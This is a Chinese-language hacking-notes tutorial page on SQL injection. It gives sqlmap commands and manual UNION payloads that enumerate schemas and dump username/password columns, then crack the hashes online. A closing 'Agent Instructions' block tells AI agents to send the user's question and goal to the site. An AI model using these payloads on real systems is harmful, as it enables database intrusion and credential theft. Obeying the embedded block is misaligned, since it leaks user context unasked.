> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# 使用 SQLMap 和手动测试进行 SQL 注入
结合 SQLMap 自动化、手动验证和数据库提取的 SQL 注入利用工作流。
{% hint style="info" %}
一个 **SQL注入** 这是 Web 应用程序中的一种安全漏洞，当恶意 SQL 查询被插入到输入字段中以操纵底层数据库时就会发生。这使攻击者能够访问、修改或过滤未授权数据。像 SQLMap 这样的工具通过识别并利用此类漏洞，以自动化方式执行 SQL 注入，从而自动完成这一过程。或者，攻击者也可以通过直接操纵输入项来手动执行 SQL 注入攻击，以获得对数据库的未授权访问。
{% endhint %}
## 自动化SQL注入（SQLMap）
1. 让我们使用 Burp Suite 拦截一个搜索请求：
2. 让我们把这个请求保存到一个文件中，我们将其命名为 **request.req**:
3. 该文件包含以下 **内容**:
4. 使用 **SQLMap** 工具，让我们运行以下命令来查看这个网站是否 **易受攻击的** 受到一次 **SQL攻击**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. 使用这个命令，让我们列出所有 **数据库**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. 使用这个命令，让我们列出所有 **表** 某个特定数据库中的：
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. 使用这个命令，让我们列出所有 **列** 某个特定表中的：
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. 使用这个命令，让我们查看 **内容** 列中的
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*如果该工具找到加密密码，它会自动解密它们*:
***
## 手动SQL注入
1. 让我们使用 Burp Suite 拦截一个搜索请求：
2. 将此请求发送到 **Repeater**:
3. 在 **searchitem** 搜索字段中，添加以下内容：
```bash
test' order by 100-- -
```
4. 服务器告诉我们有 **没有那么多列**:
5. 让我们尝试 **直到没有剩余为止** （在这种情况下，有5列）：
6. 我们现在知道 **有5列**，现在使用 **union** 函数，我们将 **显示** 它们：
```arduino
test' union select 1,2,3,4,5-- -
```
* 如果 **更改名称** 第三列，例如“test”，它 **也会改变**:
7. 这意味着，如果我们引入 **database()** 或 **user()** 函数， **数据库名称** 或 **运行数据库的用户名** 将会显示：
**以下是手动列举的步骤：**
1. 让我们列出所有 **数据库**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. 让我们列出所有 **表** 某个特定数据库中的：
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. 让我们列出所有 **列** 某个特定表中的：
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. 让我们查看 **username和password列的内容** （在这种情况下，我们使用“产品名称”和“产品类型”列）：
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* 让我们再次列出 **username和password列的内容** 一次：
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **让我们复制内容** 到 Burp Suite 的 Pretty 部分：
6. 让我们打开 **Nvim** 文本编辑器，粘贴复制的文本，然后使用以下命令将其正确格式化： `：%s/,//r/g`
7. 使用这个命令，让我们只保留哈希值，并将它们复制到 **ClipBoart**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. 最后，使用 [Hashes.com](https://hashes.com/en/decrypt/hash) 网站，获取以下密码的 **明文**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
